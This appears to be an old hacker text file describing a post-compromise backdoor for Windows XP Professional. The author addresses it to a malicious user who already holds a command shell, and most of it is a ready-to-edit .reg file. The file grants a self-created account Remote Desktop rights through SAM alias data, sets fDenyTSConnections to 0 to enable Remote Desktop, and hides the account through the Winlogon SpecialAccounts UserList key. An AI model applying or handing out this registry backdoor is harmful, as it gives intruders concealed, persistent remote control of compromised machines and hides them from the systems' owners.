XP Remote Desktop Remote Activation Information ____________________________________________________________________ Windows XP Professional provides a service called Remote Desktop, which allows a user to remotely control the desktop as if he or she were in front of the system locally (ala VNC, pcAnywhere, etc.). By default, Remote Desktop is shipped with this service turned off and only the Administrator is allowed access to this service. It is possible, however, to modify a series of registry keys that may allow a malicious user who has already gained a command shell to activate Remote Desktop and add a user they have created for themselves as well as to hide that user so that it will not show up as a user in the Remote Desktop user list. The instructions for this are attached. Additionally, I have listed a sample .reg file of the type that is discussed in the instructions below. _____________________________________________________________________ Final Stuff To the Frozen Chozen...On-On (www.frozen-chozen-h3.org) On to the exploit.... Fixer _____________________________________________________________________ .reg file (remember, the xx xx are the values you need to change) Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin\Aliases\0000022B] "C"=hex:2b,02,00,00,00,00,00,00,b0,00,00,00,02,00,01,00,b0,00,00,00,28,00,00,\ 00,00,00,00,00,d8,00,00,00,7a,00,00,00,00,00,00,00,54,01,00,00,1c,00,00,00,\ 01,00,00,00,01,00,14,80,90,00,00,00,a0,00,00,00,14,00,00,00,44,00,00,00,02,\ 00,30,00,02,00,00,00,02,c0,14,00,13,00,05,01,01,01,00,00,00,00,00,01,00,00,\ 00,00,02,c0,14,00,ff,ff,1f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,00,4c,\ 00,03,00,00,00,00,00,14,00,0c,00,02,00,01,01,00,00,00,00,00,01,00,00,00,00,\ 00,00,18,00,1f,00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,\ 00,18,00,1f,00,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,01,02,\ 00,00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,\ 00,20,02,00,00,52,00,65,00,6d,00,6f,00,74,00,65,00,20,00,44,00,65,00,73,00,\ 6b,00,74,00,6f,00,70,00,20,00,55,00,73,00,65,00,72,00,73,00,4d,00,65,00,6d,\ 00,62,00,65,00,72,00,73,00,20,00,69,00,6e,00,20,00,74,00,68,00,69,00,73,00,\ 20,00,67,00,72,00,6f,00,75,00,70,00,20,00,61,00,72,00,65,00,20,00,67,00,72,\ 00,61,00,6e,00,74,00,65,00,64,00,20,00,74,00,68,00,65,00,20,00,72,00,69,00,\ 67,00,68,00,74,00,20,00,74,00,6f,00,20,00,6c,00,6f,00,67,00,6f,00,6e,00,20,\ 00,72,00,65,00,6d,00,6f,00,74,00,65,00,6c,00,79,00,00,00,01,05,00,00,00,00,\ 00,05,15,00,00,00,d8,52,bb,80,c4,9d,6f,b9,b9,67,c7,13,xx,xx,00,00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList] "lus3r"=dword:00000000 (obviously change "lus3r" to the name of the account you created)
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Remote_Desktop.doc
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